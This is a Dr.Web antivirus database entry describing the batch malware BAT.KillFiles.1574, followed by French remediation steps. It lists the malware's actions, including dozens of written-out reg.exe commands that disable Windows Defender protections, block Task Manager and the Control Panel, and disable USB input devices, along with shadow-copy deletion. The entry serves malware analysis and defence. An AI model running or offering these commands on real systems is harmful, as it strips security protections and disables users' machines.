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Profil

BAT.KillFiles.1574

Added to the Dr.Web virus database: 2023-11-05

Virus description added:

Technical Information

To ensure autorun and distribution
Modifies the following registry keys
  • [HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Windows Defender' = '-'
  • [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'WindowsDefender' = '-'
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
  • Windows Task Manager (Taskmgr)
  • Windows Defender
modifies the following system settings:
  • [HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoClose' = '00000001'
  • [HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoLogOff' = '00000001'
  • [HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoControlPanel' = '00000001'
deletes volume shadow copies.
Executes the following
  • '<SYSTEM32>\netsh.exe' advfirewall set currentprofile state on
  • '<SYSTEM32>\taskkill.exe' /f /im explorer.exe
Launches a large number of processes
Terminates or attempts to terminate
the following system processes:
  • %WINDIR%\explorer.exe
Modifies file system
Creates the following files
  • %TEMP%\mssec.vbs
  • nul
  • %TEMP%\payload.json
  • <SYSTEM32>\%f
Deletes the following files
  • %TEMP%\mssec.vbs
Substitutes the following files
  • %TEMP%\mssec.vbs
Miscellaneous
Searches for the following windows
  • ClassName: '' WindowName: ''
  • ClassName: 'Progman' WindowName: ''
  • ClassName: 'Proxy Desktop' WindowName: ''
  • ClassName: 'SystemTray_Main' WindowName: ''
  • ClassName: 'Media Center Tray Applet' WindowName: ''
  • ClassName: '' WindowName: 'View Available Networks'
  • ClassName: 'BluetoothNotificationAreaIconWindowClass' WindowName: 'BluetoothNotificationAreaIconWindowClass'
  • ClassName: 'BluetoothNotificationAreaIconWindowClass' WindowName: ''
Creates and executes the following
  • '<SYSTEM32>\cscript.exe' //nologo %TEMP%\mssec.vbs
Executes the following
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "RealtimeSignatureDelivery" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "SignatureDisableNotification" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableReparsePointScanning" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableHeuristics" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableEmailScanning" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableCatchupQuickScan" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableCatchupFullScan" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanningNetworkFiles" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableArchiveScanning" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableRestorePoint" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "LowCpuPriority" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRawWriteNotification" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIntrusionPreventionSystem" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableInformationProtectionControl" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "IOAVMaxSize" /t REG_DWORD /d "1280" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableRealtimeMonitoring" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableIntrusionPreventionSystem" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableBehaviorMonitoring" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableIOAVProtection" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "ForceUpdateFromMU" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "DisableScheduledSignatureUpdateOnBattery" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "UpdateOnStartUp" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "SignatureUpdateCatchupInterval" /t REG_DWORD /d "2" /f
  • '<SYSTEM32>\cscript.exe' "%TEMP%\mssec.vbs"
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Microsoft Antimalware\SpyNet" /v "LocalSettingOverrideSpyNetReporting" /t REG_DWORD /d "0" /f reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\M...
  • '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t REG_DWORD /d "0" /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVer...
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Microsoft Antimalware\SpyNet" /v "SpyNetReporting" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Microsoft Antimalware" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Microsoft Antimalware" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Microsoft Antimalware" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Microsoft Antimalware" /v "AllowFastServiceStartup" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Microsoft Antimalware" /v "ServiceKeepAlive" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\Network Protection" /v "EnableNetworkProtection" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\Controlled Folder Access" /v "EnableControlledFolderAccess" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration" /v "SuppressRebootNotification" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "LocalSettingOverrideSpynetReporting" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "DisableScanOnUpdate" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "ScheduleTime" /t REG_DWORD /d "1440" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "DisableUpdateOnStartupWithoutEngine" /t REG_DWORD /d "1" /f
  • '%WINDIR%\explorer.exe'
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideRealtimeScanDirection" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableOnAccessProtection" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\MitigationOptions" /v "MitigationOptions_FontBocking" /t REG_SZ /d "-" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /t REG_SZ /d "-" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /t REG_SZ /d "-" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /t REG_SZ /d "-" /f
  • '<SYSTEM32>\reg.exe' add
  • '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableMSCONFIG /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableGPOTools /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d 00000000000000000300000000005BE000005CE000000000 /f
  • '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoShutdownUI /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoCloseMenu /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoLogOff /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKCR\regfile" /v "Security" /t REG_SZ /d "D:PAI(A;;KR;;;BU)(A;;KR;;;AC)" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\HidUsb" /v "Start" /t REG_DWORD /d 4 /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mouclass\Parameters" /v CrashOnCtrlScroll /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\i8042prt\Parameters" /v CrashOnCtrlScroll /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Classes\ms-cxh" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "MpPlatformKillbitsFromEngine" /t REG_BINARY /d "0000000000000000" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtectionSource" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "MpCapability" /t REG_BINARY /d "0000000000000000" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager" /v "DisableScanningNetworkFiles" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\NIS\Consumers\IPS" /v "DisableProtocolRecognition" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\NIS\Consumers\IPS" /v "DisableSignatureRetirement" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\NIS\Consumers\IPS" /v "ThrottleDetectionEventsRate" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\MpEngine" /v "EnableFileHashComputation" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\MpEngine" /v "MpBafsExtendedTimeout" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\MpEngine" /v "MpCloudBlockLevel" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" /v "DisableAutoExclusions" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "RandomizeScheduleTaskTimes" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableLocalAdminMerge" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "AllowFastServiceStartup" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "PUAProtection" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\timeout.exe' /t 3 /nobreak

Recommandations pour le traitement

  1. Si le système d'exploitation peut être démarré (en mode normal ou en mode sans échec), téléchargez Dr.Web Security Space et lancez un scan complet de votre ordinateur et de tous les supports amovibles que vous utilisez. En savoir plus sur Dr.Web Security Space.
  2. Si le démarrage du système d'exploitation est impossible, veuillez modifier les paramètres du BIOS de votre ordinateur pour démarrer votre ordinateur via CD/DVD ou clé USB. Téléchargez l'image du disque de secours de restauration du système Dr.Web® LiveDisk ou l'utilitaire pour enregistrer Dr.Web® LiveDisk sur une clé USB, puis préparez la clé USB appropriée. Démarrez l'ordinateur à l'aide de cette clé et lancez le scan complet et le traitement des menaces détectées.

Veuillez lancer le scan complet du système à l'aide de Dr.Web Antivirus pour Mac OS.

Veuillez lancer le scan complet de toutes les partitions du disque à l'aide de Dr.Web Antivirus pour Linux.

  1. Si votre appareil mobile fonctionne correctement, veuillez télécharger et installer sur votre appareil mobile Dr.Web pour Android. Lancez un scan complet et suivez les recommandations sur la neutralisation des menaces détectées.
  2. Si l'appareil mobile est bloqué par le Trojan de la famille Android.Locker (un message sur la violation grave de la loi ou la demande d'une rançon est affiché sur l'écran de l'appareil mobile), procédez comme suit:
    • démarrez votre Smartphone ou votre tablette en mode sans échec (si vous ne savez pas comment faire, consultez la documentation de l'appareil mobile ou contactez le fabricant) ;
    • puis téléchargez et installez sur votre appareil mobile Dr.Web pour Android et lancez un scan complet puis suivez les recommandations sur la neutralisation des menaces détectées ;
    • Débranchez votre appareil et rebranchez-le.

En savoir plus sur Dr.Web pour Android